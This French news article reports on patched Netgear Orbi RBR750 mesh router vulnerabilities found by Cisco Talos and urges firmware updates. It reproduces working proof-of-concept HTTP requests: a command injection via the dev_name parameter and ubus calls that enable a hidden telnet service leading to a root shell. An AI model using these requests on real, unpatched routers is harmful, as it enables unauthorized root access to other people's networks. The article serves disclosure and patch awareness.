Si vous comptez sur le système sans fil maillé Orbi de Netgear pour vous connecter à Internet, vous devez vous assurer qu’il exécute le dernier micrologiciel maintenant que le code d’exploitation a été publié pour les vulnérabilités critiques dans les anciennes versions.
Le système sans fil maillé Netgear Orbi comprend un routeur concentrateur principal et un ou plusieurs routeurs satellites qui étendent la portée du réseau. En configurant plusieurs points d’accès dans une maison ou un bureau, ils forment un système maillé qui garantit que la couverture Wi-Fi est disponible partout.
Injecter à distance des commandes arbitraires
L’année dernière, des chercheurs de l’équipe de sécurité Talos de Cisco ont découvert quatre vulnérabilités et les ont signalées en privé à Netgear. La plus grave des vulnérabilités, identifiée comme CVE-2022-37337, réside dans la fonctionnalité de contrôle d’accès du RBR750. Les pirates peuvent l’exploiter pour exécuter des commandes à distance en envoyant des requêtes HTTP spécialement conçues à l’appareil. Le pirate doit d’abord se connecter à l’appareil, soit en connaissant le mot de passe SSID, soit en accédant à un SSID non protégé. La gravité de la faille est notée 9,1 sur 10 possibles.
En janvier, Netgear a publié des mises à jour du micrologiciel qui ont corrigé la vulnérabilité. Maintenant, Talos a publié un code d’exploitation de preuve de concept ainsi que des détails techniques.
« La fonctionnalité de contrôle d’accès de l’Orbi RBR750 permet à un utilisateur d’ajouter explicitement des appareils (spécifiés par une adresse MAC et un nom d’hôte) pour autoriser ou bloquer l’appareil spécifié lorsqu’il tente d’accéder au réseau », ont écrit les chercheurs de Talos. « Cependant, le paramètre dev_name est vulnérable à l’injection de commande. »
Le code d’exploitation publié est :
POST /access_control_add.cgi?id=e7bbf8edbf4393c063a616d78bd04dfac332ca652029be9095c4b5b77f6203c1 HTTP/1.1
Host: 10.0.0.1
Content-Length: 104
Authorization: Basic YWRtaW46UGFzc3cwcmQ=
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.61 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: yummy_magical_cookie=/; XSRF_TOKEN=2516336866
Connection: close
action=Apply&mac_addr=aabbccddeeaa&dev_name=test;ping${IFS}10.0.0.4&access_control_add_type=blocked_list
L’appareil répondra comme suit :
root@RBR750:/tmp# ps | grep ping
21763 root 1336 S ping 10.0.0.4
Deux autres vulnérabilités découvertes par Talos ont également reçu des correctifs en janvier. CVE-2022-36429 est également une faille d’exécution de commandes à distance qui peut être exploitée en envoyant une séquence de paquets malveillants qui créent un objet JSON spécialement conçu. Son indice de gravité est de 7,2.
L’exploit commence par utiliser la somme SHA256 du mot de passe avec le nom d’utilisateur « admin » pour renvoyer un cookie d’authentification requis pour démarrer une session telnet non documentée :
POST /ubus HTTP/1.1
Host: 10.0.0.4
Content-Length: 217
Accept: application/json
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.61 Safari/537.36
Content-Type: application/json
Origin: http://10.0.0.4
Referer: http://10.0.0.4/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
{"method":"call","params":["00000000000000000000000000000000","session","login",{"username":"admin","password":"","timeout":900}],"jsonrpc":"2.0","id":3}
Le jeton ‘ubus_rpc_session’ nécessaire pour démarrer le service telnet caché apparaît alors :
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 829
Connection: close
Date: Mon, 11 Jul 2022 19:27:03 GMT
Server: lighttpd/1.4.45
{"jsonrpc":"2.0","id":3,"result":[0,{"ubus_rpc_session":"e6c28cc8358cb9182daa29e01782df67","timeout":900,"expires":899,"acls":{"access-group":{"netgear":["read","write"],"unauthenticated":["read"]},"ubus":{"netgear.get":["pot_details","satellite_status","connected_device","get_language"],"netgear.log":["ntgrlog_status","log_boot_status","telnet_status","packet_capture_status","firmware_version","hop_count","cpu_load","ntgrlog_start","ntgrlog_stop","log_boot_enable","log_boot_disable","telnet_enable","telnet_disable","packet_capture_start","packet_capture_stop"],"netgear.set":["set_language"],"netgear.upgrade":["upgrade_status","upgrade_version","upgrade_start"],"session":["access","destroy","get","login"],"system":["info"],"uci":["*"]},"webui-io":{"download":["read"],"upload":["write"]}},"data":{"username":"admin"}}]}
L’adversaire ajoute alors un paramètre appelé ‘telnet_enable’ pour démarrer le service telnet :
POST /ubus HTTP/1.1
Host: 10.0.0.4
Content-Length: 138
Accept: application/json
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.61 Safari/537.36
Content-Type: application/json
Origin: http://10.0.0.4
Referer: http://10.0.0.4/status.html
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
{"method":"call","params":["e6c28cc8358cb9182daa29e01782df67","netgear.log","telnet_enable","log_boot_enable",{}],"jsonrpc":"2.0","id":13}
Le même mot de passe utilisé pour générer le hash SHA256 avec le nom d’utilisateur ‘admin’ permettra alors à un attaquant de se connecter au service :
$ telnet 10.0.0.4
Trying 10.0.0.4...
Connected to 10.0.0.4.
Escape character is '^]'.
login: admin
Password: === IMPORTANT ============================
Use 'passwd' to set your login password
this will disable telnet and enable SSH
------------------------------------------
BusyBox v1.30.1 () built-in shell (ash)
MM NM MMMMMMM M M
$MMMMM MMMMM MMMMMMMMMMM MMM MMM
MMMMMMMM MM MMMMM. MMMMM:MMMMMM: MMMM MMMMM
MMMM= MMMMMM MMM MMMM MMMMM MMMM MMMMMM MMMM MMMMM'
MMMM= MMMMM MMMM MM MMMMM MMMM MMMM MMMMNMMMMM
MMMM= MMMM MMMMM MMMMM MMMM MMMM MMMMMMMM
MMMM= MMMM MMMMMM MMMMM MMMM MMMM MMMMMMMMM
MMMM= MMMM MMMMM, NMMMMMMMM MMMM MMMM MMMMMMMMMMM
MMMM= MMMM MMMMMM MMMMMMMM MMMM MMMM MMMM MMMMMM
MMMM= MMMM MM MMMM MMMM MMMM MMMM MMMM MMMM
MMMM$ ,MMMMM MMMMM MMMM MMM MMMM MMMMM MMMM MMMM
MMMMMMM: MMMMMMM M MMMMMMMMMMMM MMMMMMM MMMMMMM
MMMMMM MMMMN M MMMMMMMMM MMMM MMMM
MMMM M MMMMMMM M M
M
---------------------------------------------------------------
For those about to rock... (Chaos Calmer, rtm-4.6.8.5+r49254)
---------------------------------------------------------------
root@RBS750:/#
L’autre vulnérabilité corrigée est CVE-2022-38458, avec un indice de gravité de 6,5. Cela provient du fait que l’appareil invite les utilisateurs à entrer un mot de passe via une connexion HTTP, qui n’est pas cryptée. Un adversaire sur le même réseau peut alors renifler le mot de passe.